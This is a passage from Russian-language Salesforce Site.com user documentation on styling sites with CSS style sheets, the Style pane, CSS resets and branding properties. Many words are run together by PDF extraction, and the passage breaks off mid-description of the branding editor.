• Чтобыприменитьстилинепосредственноквыбраннойстраницеилиэлементустраницы, воспользуйтесьпараметром

«Встроенное» на панели «Стиль» ( ). Встроенные стили применяются только непосредственно к выбранному
элементу.

• Добавьте элементы стиля (например, классы или коды CSS) в таблицу стилей, а затем примените элементы стиля к
выбранной странице или элементу страницы. Такой метод позволяет отделить содержимое (веб-страницы) от его
представления (таблица стилей).

Встроенные стили более просты для понимания и использования, поэтому рекомендуются пользователям, которые не
сталкивались с таблицами стилей ранее. Тем не менее, встроенные стили поддерживают только некоторые функции
таблиц стилей, так как смешивают содержимое с его представлением, и применяются только к отдельным элементам.
Чтобы обновить стиль сайта, пользователю придется отдельно обновлять свойства стиля для каждой соответствующей
страницы или элемента страницы.

Тогда как таблицы стилей, требующие более глубоких познаний в области программирования, позволяют быстро
внедрятьлюбыеглобальныеизменения. Вслучаеобновленияэлементастилявтаблицестилейвыполняетсяавтоматическое
обновление стиля для всех соответствующих страниц или элементов страницы.

Рекомендуем сейчас потратить немного времени на изучение таблиц стилей, чтобы потом...

• сэкономить время и силы при создании и оформлении сайта;

• гарантировать единообразное стилистическое оформление сайта;

• упростить навигацию в режиме доступности (например, для посетителей сайта, использующих программы чтения с
экрана).

ДополнительнуюинформациюосозданииииспользованиитаблицстилейможнополучитьвКонсорциуме World-Wide
Web по адресу www.w3.org/Style/CSS. Кроме того, в сетиИнтернет можно найти достаточное количество учебных
пособий, содержащих исчерпывающую информацию о работе с таблицами стилей.
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Общие сведения о кодах и классах CSS

Если для оформления сайта используются таблицы стилей, то пользователи могут переопределить форматирование
тегов HTML (например, body или h1). Чтобы определить стиль отдельных элементов (например, верхних колонтитулов
или повторяющегося содержимого), можно создать коды или классы CSS. Класс CSS позволяет определить и применить
свойства стиля ко многим элементам на странице, тогда как код CSS идеально подходит для оформления отдельного
элемента страницы. Например, обычно в структуре страницы коды используются для определения областей верхнего и
нижнего колонтитулов, так как каждая страница содержит только один верхний или нижний колонтитул, а классы
используются для определения повторяющихся элементов страницы (например, сообщений в блоге).

Рекомендации

• Чтобы восстановить исходные значения для всех элементов стиля, добавьте в таблицу стилей сброс CSS. Данное
действиепоможетизбежатьразличий, существующихмеждуразнымиобозревателямиввидуприменениястандартных
параметров встроенного стиля.

• Повозможностирекомендуемиспользовать кодыиклассы CSS вместовстроенныхстилей. Вэтомслучаепользователи
смогут разделять содержимое и его представление, а также быстро обновлять стили сайта.

• Приналичиина страницетолькоодного элементарекомендуемиспользоватькоды CSS. Код CSS можетиспользоваться
на странице только один раз. При наличии на странице нескольких элементов рекомендуем использовать классы
CSS.

• Чтобы организовать таблицы стилей в логическом порядке и упростить процесс их обслуживания, рекомендуем
использовать группы.

• При использовании CSS3 рекомендуем просмотреть и протестировать сайт во всех поддерживаемых обозревателях
ввиду ограниченной поддержки функций CSS3 некоторыми обозревателями.

СМ. ТАКЖЕ:

Использование панели «Стиль»

Общие сведения о представлении таблицы стилей в Site.com

Создание и использование таблиц стилей

5167

Site.comРасширение Salesforce посредством интерактивных
инструментов



Использование панели «Стиль»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Панель «Стиль» — это экранный редактор таблиц стилей, который позволяет изменять
свойства стиля (например, цвет фона, размер шрифта и тип границы) во время работы
над страницами и элементами страницы.Если для оформления страниц используются
классы или коды CSS, то элементы стиля могут быть созданы или изменены прямо на
панели «Стиль», а не в таблице стилей.

Чтобы применить стиль к выбранной странице или элементу страницы, выполните
указанные ниже действия.

1. Откройте панель «Стиль» ( ).

2. Чтобы применить...

• встроенный стиль, выберите «Встроенное». Встроенные стили применяются
только к выбранному элементу и не добавляются в таблицу стилей.

• класс CSS, выберите«Класс»иначнитевводитьимя. Чтобывыбратькласс, который
ужесуществуетвтаблицестилей, воспользуйтесьсоответствующимвсплывающим
списком. Чтобыдобавитьв таблицустилейновыйкласс, введитеегоимя, выберите
класс и щелкните «Да».

• код CSS, выберите «Код», а затем выберите нужный код из раскрывающегося

списка. Чтобы добавить новый код, щелкните значок , введите имя кода и
щелкните значок .

Чтобы отдельно оформить разные компоненты, доступные в элементах страницы
меню, выберите нужные параметры в раскрывающемся списке «Стиль».

3. Принеобходимостипримените свойства стиляна вкладке «Видимый». Такжеможете
указать стили CSS прямо на вкладке «Код» и нажать кнопку «Применить».

Совет: Чтобыпросмотреть свойства стиля, связанныес выбраннойстраницейили
элементом страницы, откройте вкладку «Код» на панели «Стиль». Чтобы удалить
свойства стиля, щелкните «Очистить».

СМ. ТАКЖЕ:

Создание групп и элементов таблицы стилей

Создание и использование таблиц стилей

Общие сведения о каскадных таблицах стилей
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Свойства панели «Стиль»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Панель «Стиль» — это экранный редактор таблиц стилей, который позволяет изменять
свойства стиля (например, цвет фона, размер шрифта и тип границы) во время работы
над страницами и элементами страницы.

Раздел «Фон»

ОписаниеСвойство

Выборцветафонаэлемента. Чтобывыбратьнужныйцвет,
щелкните палитру и воспользуйтесь селектором цвета,
либо введите специальныйшестнадцатеричный код в
текстовую область. Также для выбора цвета можно
использовать раскрывающийся список «Цвет фона».

Цвет фона

Добавлениефоновогоизображениявэлемент. Щелкните
«Адрес URL» и введите URL-адрес изображения или

Фоновое изображение

щелкните значок для выбора импортированного
изображения.

Мозаичноеразмещениефоновогоизображенияэлемента.Повтор фона

•
: отображениетолькооднойкопииизображения.

•
: повтор изображения по горизонтали.

•
: повтор изображения по вертикали.

•
: повтор изображения по горизонтали и по

вертикали.

Определение положения фонового изображения
элемента.

Положение

• Чтобы разместить фоновое изображение по
горизонтали, введите значение в текстовую область
«X» и выберите единицу измерения. Также можете
выбрать значение «Слева» или «Справа» в
раскрывающемся списке.

• Чтобы разместить фоновое изображение по
вертикали, введитезначениевтекстовуюобласть «Y»
ивыберитеединицуизмерения. Такжеможетевыбрать
значение «Сверху» или «Снизу» в раскрывающемся
списке.

Выбор типа курсора (например, перекрестие или
указатель).

Курсор
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Раздел «Шрифт и цвет»

ОписаниеСвойство

Выбор семейства шрифтов для определенного элемента.Шрифт

Выбор цвета шрифта. Чтобы выбрать нужный цвет, щелкните палитру и
воспользуйтесь селектором цвета, либо введите специальный

Цвет

шестнадцатеричный код в текстовую область. Также для выбора цвета можно
использовать раскрывающийся список «Цвет».

Выбор размера шрифта. Введите значение в текстовую область «Размер» и
выберите единицу измерения (например, em, пункты или проценты). Также

Размер

можете выбрать предварительно заданное значение (например, «Крайне
маленький»). Чтобыиспользоватьразмершрифта, заданныйдляродительского
элемента (например, страницыилипанели), выберите значение «Наследовать».

Совет: Чтобы конечные пользователи могли менять размер шрифта в
веб-обозревателях, рекомендуем использовать относительные размеры
(например, em или проценты).

Форматирование стиля шрифта, используемого в элементе.Стиль

•
: отображение жирного шрифта.

•
: отображение жирного курсивного шрифта.

•
: отображение курсивного шрифта.

• «Нет»: отмена текущих стилей.

Отображение шрифта в виде капители.Вариант шрифта

Изменениепромежутковмежду строкамитекста. Введите значение в текстовую
область и выберите единицу измерения (например, пикселы, проценты или

Высота строки

em). Чтобыиспользоватьвысоту строки, заданнуюдляродительскогоэлемента
страницы, выберите значение «Наследовать».

Применениедекоративныхэффектовктекстуэлемента. Например, пользователь
может отменить подчеркивание, которое обычно отображается под

Оформление текста

гиперссылками. Данное правило таблицы стилей является стандартным и
используется по умолчанию во многих веб-обозревателях.

•
: отображение черты под текстом.

•
: перечеркивание текста.

•
: отображение черты над текстом.

• «Нет»: отмена текущего оформления текста.

Выравнивание текста, доступного в выбранном элементе.Выравнивание

•
: выравнивание текста по левому краю.
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ОписаниеСвойство

•
: выравнивание текста по правому краю.

•
: выравнивание текста по центру.

•
: выравнивание текста по ширине.

Изменение капитализации текста, доступного в элементе.Регистр

•
: капитализация первой буквы каждого слова.

•
: капитализация всех букв.

•
: отображение только строчных букв.

• «Нет»: отмена текущего форматирования.

Добавлениеотступадляпервойстрокитекста, доступноговвыбранномэлементе
страницы. Введитезначениевтекстовуюобластьивыберитеединицуизмерения.

Отступ текста

Чтобы использовать отступ, заданный для родительского элемента страницы,
выберите значение «Наследовать».

Определение способа обработки пробелов (например, символов табуляции и
жестких переносов) внутри элемента.

Пробел

Раздел «Макет»

ОписаниеСвойство

Размещение элементов страницы вне обычного потока документа. Обычно
элементы страницы отображаются в веб-обозревателях в том же порядке, в

Позиционирование

котором они отображаются в документе. Блочные элементы (например, теги
p и div) отображаются друг под другом, тогда как строковые элементы
(например, теги em, strong и span) отображаются рядом с текстом или
другим подобным элементом.

• Приабсолютномпозиционированиисодержимогоиспользуютсязначения,
заданные в текстовых областях «Сверху», «Снизу», «Слева» и «Справа».

• При относительном позиционировании элемент страницы отображается
в обычном потоке макета, но смещается относительно нормального
положения на основе значений, заданных в текстовых областях «Сверху»,
«Снизу», «Слева» и «Справа». Например, есливтекстовойобласти «Слева»
указано 20 пикселов, то элемент страницы будет смещен на 20 пикселов
влево.

Переопределение стандартных параметров макета элемента страницы.
Например, пользователь может скрыть элементы страницы, выбрать

Отображение

внутристроковое отображение блочных элементов или блочное отображение
строковых элементов.
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ОписаниеСвойство

• При выборе значения «Нет» элемент страницы не отображается.

• При выборе значения «Блочное» элемент страницы отображается в виде
блочного элемента, с переносом строки до и после элемента.

• При выборе значения «Встроенное», которое также используется по
умолчанию, элемент страницы отображается в виде строкового элемента,
без переноса строки до или после элемента.

• При выборе значения «Встроенное блочное» элемент страницы
отображается в виде встроенного прямоугольника, однако его содержимое
отображается также как внутри блочного элемента.

При использовании совместно с абсолютным или относительным
позиционированием эти четыре свойства помещают элементы страницы вне

Положение

обычного потока документа. Введите значения в нужные текстовые области и
выберите единицы измерения в соответствующих раскрывающихся списках.

• Значение «Сверху» определяет удаленность верхнего края элемента от
верхнего края родительского элемента.

• Значение «Снизу» определяет удаленность нижнего края элемента от
нижнего края родительского элемента.

• Значение «Справа» определяетудаленностьправогокраяэлементаотправого
края родительского элемента.

• Значение «Слева» определяет удаленность левого края элемента от левого
края родительского элемента.

Выбор порядка наложения элементов в тех случаях, когда они должны
отображаться в одной области. Элемент с большим Z-индексом накладывается
поверх элемента с меньшим значением. Значение по умолчанию — 0.

Чтобы увеличить или уменьшить значение Z-индекса, щелкните значок

или , либо введите нужное значение в текстовую область.

Z-индекс

Смещениеэлементастраницывправоиливлево, чтобыпоследующиеэлементы
(например, текст) отображались вокруг плавающего элемента страницы.

Плавать

•
: смещение элемента страницы влево.

•
: смещение элемента страницы вправо.

• «Нет»: отмена текущего значения.

Отображениеплавающихэлементовстраницырядомсвыбраннымэлементом
страницы.

Очистить

•
: перемещение элемента страницы под любой плавающий элемент

страницы слева.

•
: перемещение элемента страницы под любой плавающий элемент

страницы справа.
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ОписаниеСвойство

•
: перемещение элемента страницы под плавающие элементы

страницы в любой стороне.

• «Нет»: отмена текущего значения.

Доступность выбранного элемента страницы.Доступность

• Значение «Доступно» задано по умолчанию.

• При выборе значения «Скрыто» элемент страницы не отображается, а на
его место добавляется невидимый прямоугольник.

• Значение «Свернуть» используется для сокрытия элементов таблицы. (Для
остальных элементов страницы данное значение аналогично значению
«Скрыто».)

Прим.: Невидимые элементы страницы все также располагаются в
макете страницы.

Усечение содержимого элемента страницы, размеры которого превышают
допустимые.

Переполнение

• При выборе значения «Доступно» содержимое не усекается.

• При выборе значения «Скрыто» содержимое усекается.

• При выборе значения «Прокрутить» содержимое также усекается, но при
этом отображаются полосы прокрутки, позволяющие пользователю
просмотреть оставшуюся часть содержимого.

• При выборе значения «Авто» должна отображаться полоса прокрутки для
просмотра оставшейся части содержимого, однако следует помнить, что
действие данного значения определяется используемым обозревателем.

Раздел «Размеры»

ОписаниеСвойство

Определение ширины для выбранного элемента страницы. Введите значение
в текстовую область «Ширина» и выберите единицу измерения. Чтобы

Ширина

использовать ширину, заданную для родительского элемента страницы,
выберите значение «Наследовать».

Определение высоты для выбранного элемента страницы. Введите значение в
текстовую область «Высота» и выберите единицу измерения. Чтобы

Высота

использоватьвысоту, заданнуюдляродительскогоэлементастраницы, выберите
значение «Наследовать».

Определение ширины поля, то есть расстояния между контуром элемента
страницыивнешнимкраем. Чтобызадатьполядлявсехчетырехсторон, введите

Поля

нужное значение в текстовую область «Все». Чтобы задать ширину только
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ОписаниеСвойство

верхнего, нижнего, правого или левого поля, введите значение в
соответствующую текстовую область.

Определениешириныотступа, тоестьрасстояниямеждусодержимымэлемента
страницыиего контуром. Чтобызадатьотступдля всехчетырех сторон, введите

Отступ

нужное значение в текстовую область «Все». Чтобы задать ширину только
верхнего, нижнего, правого или левого отступа, введите значение в
соответствующую текстовую область.

Раздел «Границы»

ОписаниеСвойство

Настройка свойств границы для каждой отдельной стороны или для всех
четырех сторон.

Тип

Настройка типа границы (например, пунктирная, точечная или двойная).Стиль

Выбор цвета границы. Чтобы выбрать нужный цвет, щелкните палитру и
воспользуйтесь селектором цвета, либо введите специальный

Цвет

шестнадцатеричный код в текстовую область. Также для выбора цвета можно
использовать раскрывающийся список «Цвет».

Выбор толщины границы. Введите значение в текстовуюобласть «Толщина»
и выберите единицу измерения. Также можно выбрать значение «Тонкая»,
«Средняя» или «Толстая».

Толщина

Раздел «Таблицы»

ОписаниеСвойство

При оформлении таблиц:Сворачивание границ

• выберите значение «Свернуть», чтобыиспользоватьмеждуячейкамиобщую
границу;

• выберите значение «Разделить», чтобы использовать во всех ячейках
собственные границы.

Выбор расстояния, разделяющего границы ячейки по горизонтали. Введите
значениев текстовуюобластьивыберите единицуизмерения. Данное значение

Интервал по горизонтали

доступно только в том случае, если для параметра «Сворачивание границ»
выбрано значение «Разделить».

Выбор расстояния, разделяющего границы ячейки по вертикали. Введите
значениев текстовуюобластьивыберите единицуизмерения. Данное значение

Интервал по вертикали
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ОписаниеСвойство

доступно только в том случае, если для параметра «Сворачивание границ»
выбрано значение «Разделить».

СМ. ТАКЖЕ:

Использование панели «Стиль»

Общие сведения о представлении таблицы стилей в Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Таблицы стилей позволяют добавлять элементы стиля, организовывать их в группы и
напрямую редактировать код CSS. Чтобы открыть таблицу стилей на вкладке «Общие
сведения», дваждыщелкнитеилинаведитеуказательмышинанужнуютаблицуивыберите

 > «Правка». Таблица стилей откроется в виде новой вкладки.
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• Чтобы импортировать таблицу стилей и напрямую изменить ее код CSS, воспользуйтесь панелью инструментов (1).

• Ниже перечислены действия, доступные на панели таблицы стилей (2).

– Создание элементов стиля и групп

– Предварительный просмотр, редактирование и удаление элементов стиля

– Перемещение элементов стиля и групп в нужную область

– Добавление сброса CSS

• Чтобывыбрать элемент стилядляпредварительногопросмотраи самостоятельногоредактирования, воспользуйтесь
разделом «Предварительный просмотр стиля» (3).

Прим.: Раздел «Предварительный просмотр стиля» не поддерживает предварительный просмотр @правил
(например, @media или @font-face).

• Чтобы выбрать элемент стиля для определения свойств CSS, воспользуйтесь экранным редактором таблиц стилей (4).

СМ. ТАКЖЕ:

Создание и использование таблиц стилей

Общие сведения о каскадных таблицах стилей
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Создание и использование таблиц стилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Стандартная таблица стилей называется Site Style Sheet («Таблица стилей сайта») и
добавляется на любой созданный пользователем сайт. Для работы с несколькими
таблицами стилей опытные пользователи могут добавить на сайт новые таблицы.

Чтобы создать таблицу стилей, выполните указанные ниже действия.

1. Щелкните «Таблицы стилей» > «Создать» на вкладке «Общие сведения». Или
щелкните «Создать таблицу стилей» в представлении «Таблицы стилей».

2. Введите имя таблицы стилей.

3. Нажмите кнопку «Применить». При этом откроется таблица стилей.

4. Добавьте группы и элементы стиля в таблицу стилей.

Прим.:

• Именатаблицстилеймогут содержатьтолькобуквы, цифры, дефисы, двоеточия
и символы подчеркивания.

• Также можете импортировать файл CSS для использования на сайте.

Чтобы применить стили на странице, прикрепите новую таблицу стилей к странице.

Чтобы прикрепить таблицу стилей к странице, выполните указанные ниже действия.

1. Выберите страницу на панели «Структура страницы» ( ).

2.
Щелкните значок в разделе «Таблицы стилей» на панели «Свойства» ( ).

3. Выберите нужную таблицу стилей из списка.

4.
Чтобы прикрепить таблицу стилей к странице, щелкните значок напротив
раскрывающегося списка.

Совет: Чтобыбыстроприкрепитьновуютаблицу стилейко всемстраницамсайта,
созданным на основе шаблона страницы, прикрепите таблицу стилей к
соответствующемушаблону. Вэтомслучаессылканатаблицустилейавтоматически
добавляется во все страницы, созданные на основе шаблона.

СМ. ТАКЖЕ:

Общие сведения о представлении таблицы стилей в Site.com

Общие сведения о каскадных таблицах стилей
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Создание групп и элементов таблицы стилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

При добавлении элементов стиля в таблицы стилей пользователи могут определить
коды и классы CSS или переопределить форматирование тегов HTML (например, body
или h1). Изменения, внесенные в стиль CSS тега HTML, автоматически применяются к
любому объекту, в форматировании которого использовался данный тег.

Создание элементов стиля

Чтобы открыть таблицу стилей, дваждыщелкните нужную таблицу стилей в
представлении «Таблицы стилей» на вкладке «Общие сведения» илинаведите указатель
мыши на нужную таблицу и щелкните  > «Правка».

Чтобы самостоятельно изменить таблицу стилей с помощьюредактора таблиц стилей,
щелкните«Редактироватькодтаблицыстилей». Крометого, чтобыдобавить @правила
(например, @media), рекомендуем изменить таблицу стилей напрямую.

Также доступны указанные ниже действия.

1. Выберите нужную таблицу стилей и щелкните  > «Вставить элемент стиля».

2. Введите имя элемента стиля.

• Чтобы переопределить стандартное форматирование отдельного тега HTML,
укажите имя тега HTML (например, body или h1).

• Чтобы создать класс CSS, укажите имя класса и поставьте перед ним точку
(например, .имя_класса).

• Чтобы создать код CSS, укажите имя кода и поставьте перед ним символ #
(например, #код_содержимого).

3. Нажмите кнопку «Применить».

4. Чтобы добавить определения стиля, выполните одно из указанных ниже действий.

• Задайте свойства стиля в экранном редакторе стилей справа.

• Введите стили CSS в текстовую область раздела «Предварительный просмотр
стиля» и нажмите кнопку «Сохранить».

Изменения, вносимые в определение выбранного элемента стиля, добавляются в раздел
«Предварительный просмотр стиля».

Совет:

• Имя класса должно начинаться с точки. В противном случае оно не будет обработано в качестве класса CSS.

• Имя кода должно начинаться с символа #. В противном случае оно не будет обработано в качестве кода CSS.

• При наличии на странице только одного элемента рекомендуем использовать коды CSS. Код CSS может
использоваться на странице только один раз. При наличии на странице нескольких элементов рекомендуем
использовать классы CSS.

• Имена классов и кодов могут содержать только буквы, цифры, дефисы и символы подчеркивания, но не могут
начинаться с цифры и содержать пробелы.
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Создание групп стилей

Чтобы организовать таблицы стилей в логическом порядке, рекомендуем использовать группы. Группы позволяют
упростить процесс поиска и управления стилями.

Ниже перечислены действия, доступные в открытой таблице стилей.

1. Выберите нужную таблицу стилей и щелкните  > «Вставить группу стилей».

2. Укажите имя группы и нажмите кнопку «Применить».

3. Чтобы добавить новый стиль в группу, выберите нужную группу и щелкните  > «Вставить элемент стиля».
Чтобы добавить в группу текущий стиль, перетащите его на значок папки.

Назначение элементов стиля

Созданный стиль может быть назначен страницам сайта и элементам страницы.

Чтобы назначить класс нужной странице или элементу страницы, выберите класс и выполните одно из указанных ниже
действий.

• Введите имя класса в поле «Класс» на панели «Свойства» ( ).

• Выберите «Класс» на панели «Стиль» ( ) и начните вводить имя, а затем выберите нужное имя в отображающемся
списке.

Чтобы назначить код нужной странице или элементу страницы, выберите код и выполните одно из указанных ниже
действий.

• Введите имя кода в поле «Код» на панели «Свойства» ( ).

• Выберите «Код» на панели «Стиль» ( ), а затем выберите нужное имя в раскрывающемся списке.

СМ. ТАКЖЕ:

Создание и использование таблиц стилей

Общие сведения о представлении таблицы стилей в Site.com

Общие сведения о каскадных таблицах стилей
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Использование сброса CSS

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

В каждом обозревателе используются стандартные параметры представления, которые
отличаютсяотпараметровдругихобозревателей. Именнопоэтомусайты, оформленные
спомощьютаблицыстилей, могутпо-разномуотображатьсявразличныхобозревателях.
Примеры различий см. ниже.

• Упорядоченные и неупорядоченные списки

• Верхние и нижние поля для заголовков

• Размеры отступов

• Стандартная высота строк

Функция сброса CSS позволяет избежать возможных различий при отображении
элементов конечным пользователям. Пользователи могут использовать сброс CSS,
доступный в Site.com, или добавить собственный код сброса CSS.

Чтобы воспользоваться сбросом CSS, доступным в Site.com, выполните указанные ниже
действия.

1. Чтобы открыть таблицу стилей, дваждыщелкните или наведите указатель мыши на
нужную таблицу и выберите  > «Правка» в представлении «Таблицы стилей»
на вкладке «Общие сведения».

2. Щелкните  > «Вставить сброс CSS».

3. Убедитесь, чтосброс CSS находитсяв верхнейчаститаблицыстилей. Чтобыизменить
место его отображения, перетащите сброс в нужную область на панели слева.

Чтобы добавить собственный код сброса CSS, выполните указанные ниже действия.

1. Чтобы открыть таблицу стилей, дваждыщелкните или наведите указатель мыши на
нужную таблицу и выберите  > «Правка» в представлении «Таблицы стилей»
на вкладке «Общие сведения».

2. Чтобы открыть редактор таблиц стилей, щелкните «Редактировать код таблицы
стилей».

3. Вставьте код в верхнюю часть кода таблицы стилей.

4. Нажмите кнопку «Сохранить и закрыть».

СМ. ТАКЖЕ:

Создание и использование таблиц стилей

Общие сведения о каскадных таблицах стилей
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Оформление сайта в фирменном стиле

Общие сведения о фирменном стиле сайта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Фирменный стиль позволяет пользователям задавать разные аспекты оформления
веб-сайта. Заданныесвойствафирменногостилямогутиспользоватьсяредакторамидля
быстройнастройкисодержимого сайтапосредствомоднойцентрализованнойобласти,
именуемой редакторомфирменного стиля. Предварительный просмотр внесенных
изменений отображается редакторам веб-сайта по мере настройки свойств.

Свойствафирменногостиля, добавленныеввиджеты, шаблоныстраницилинавеб-сайт,
позволяют пользователям быстро задавать и изменять аспекты оформления веб-сайта
без редактирования каскадной таблицы стилей.

Ниже приведены примеры доступных аспектов, связанных с оформлением веб-сайта.

• Цвет фона, страницы или ссылки, используемый веб-сайтом

• Размер и цвет шрифта

• Фоновое изображение логотипа или верхнего колонтитула

• Толщина и цвет линий

Чтобы использовать фирменный стиль на веб-сайте, выполните указанные ниже действия.

1. Чтобы определить компоненты сайта, являющиеся частью оформления, создайте свойство фирменного стиля для
каждого аспекта (например, цвет фона, логотип и шрифты). Чтобы выполнить данное действие, воспользуйтесь
представлением «Свойства фирменного стиля» раздела «Конфигурация сайта».

2. Чтобызаменить текущиеопределенияданныхсвойств в каскадныхтаблицах стилейновымисвойствамифирменного
стиля, воспользуйтесь синтаксисом языка выражений.

3. Чтобынастроить свойстваиоткрыть веб-сайт дляпредварительногопросмотра, воспользуйтесьобластью «Редактор
фирменного стиля».

Кроме того, доступ к свойствам фирменного стиля может быть предоставлен путем использования синтаксиса языка
выражений непосредственно в настраиваемом блоке кода или блоке содержимого.

СМ. ТАКЖЕ:

Создание свойств фирменного стиля

Настройка свойств фирменного стиля

Использование редактора фирменного стиля
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Создание свойств фирменного стиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Пользователь

Site.com
Contributor

И

Роль автора,
назначенная на уровне
сайта

Фирменныйстильпозволяетпользователямбыстросоздавать свойства стиля, доступные
редакторам сайта для многократного использования.

Созданные свойства фирменного стиля могут быть систематизированы посредством
разделовдляболее удобногопоиска вредакторефирменногостиля. Крометого, разделы
могут использоваться для систематизации собственных свойств.

• Изменение логического порядка отображения свойств внутри разделов. Например,
отображение свойств по алфавиту.

• Изменениепорядкаотображенияразделовисвойствпутемихперетаскиваниявнутри
представления «Свойства фирменного стиля».

1. Последовательно выберите пункты «Конфигурация сайта» > «Свойства
фирменного стиля».
Данное действие инициирует отображение редактора свойств фирменного стиля.

2.
Нажмите кнопку .

3. Введите имя свойства в поле «Метка».
Имявыражениядобавляется автоматически. Имявыраженияиспользуетсяв таблицах
стилей и блоках кода.

4. Выберите нужный тип.

5. Укажите стандартное значение.

6. Чтобы присвоить свойству статус обязательного, щелкните «Обязательно».

Чтобы изменить или удалить свойство, наведите указатель мыши на нужное свойство и

воспользуйтесь меню . Чтобыизменить имя раздела, дваждыщелкните нужное
имя.

СМ. ТАКЖЕ:

Общие сведения о фирменном стиле сайта

Типы настраиваемых свойств

Настройка свойств фирменного стиля

Использование редактора фирменного стиля
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Настройка свойств фирменного стиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Пользователь

Site.com
Contributor

И

Роль автора,
назначенная на уровне
сайта

Пользователи могут дополнять каскадные таблицы стилей или элементы страницы
Site.com (например, блоки содержимого или элементы «Настраиваемый код») ссылками
на созданные свойства фирменного стиля посредством выражений.

Свойства фирменного стиля должны использовать следующий синтаксис выражения:
{!Site.имя-свойства-фирменного_стиля}. Например, чтобывставитьсозданноесвойство
цвета HeaderColor в каскаднуютаблицустилейилиблок кода, введите следующуюстроку:
{!Site.HeaderColor}.

Прим.: Имена выражений чувствительны к регистру!

1. Откройте каскадную таблицу стилей или блок кода.

2. Выберите нужную область для вставки выражения.

3. Чтобы просмотреть раскрывающийся список доступных свойств, введите символы
{!
.

4. Чтобы добавить свойство на страницу, дваждыщелкните выбранное свойство.

Пример: Например, если оформление веб-сайта предполагает использование
синего цвета в качестве фона для раздела верхнего колонтитула, то пользователь
может задать статическоешестнадцатеричное значениецветапосредствомправил
CSS.

.site-header {
background-color: #3793DD;
}

Благодаря фирменному стилю, пользователь может создать свойство, которое
напрямую соотносится с шестнадцатеричным цветом, а затем использовать имя
выражения данного свойства в каскадной таблице стилей.

.site-header {
background-color: {!Site.HeaderColor};
}

Теперь редакторы сайта могут быстро изменять цвет посредством редактора
фирменного стиля вместо редактирования каскадной таблицы стилей.

СМ. ТАКЖЕ:

Общие сведения о фирменном стиле сайта

Создание свойств фирменного стиля

Использование редактора фирменного стиля
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Использование редактора фирменного стиля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Пользователь

Site.com
Contributor

И

Роль автора,
назначенная на уровне
сайта

Редактор фирменного стиля — это централизованная область, предназначенная для
настройки и последующего предварительного просмотра изменений, внесенных в
свойства фирменного стиля на сайте.

Редактор фирменного стиля состоит из двух областей.

• Палитраредактора, расположенная слева, содержит все свойствафирменного стиля,
доступные для редактирования.

• Область предварительного просмотра, расположенная справа, позволяет
